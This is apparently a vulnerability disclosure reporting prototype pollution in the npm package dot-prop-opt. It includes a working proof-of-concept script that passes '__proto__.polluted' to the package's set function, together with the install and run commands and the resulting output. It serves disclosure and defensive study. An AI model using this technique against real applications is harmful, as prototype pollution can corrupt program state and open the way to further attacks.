dot-prop-opt is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const { set } = require('dot-prop-opt')

console.log('Before: ' + {}.polluted)
set({}, '__proto__.polluted', true)
console.log('After: ' + {}.polluted)
  1. Execute the following commands in the terminal:
npm i dot-prop-opt # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true
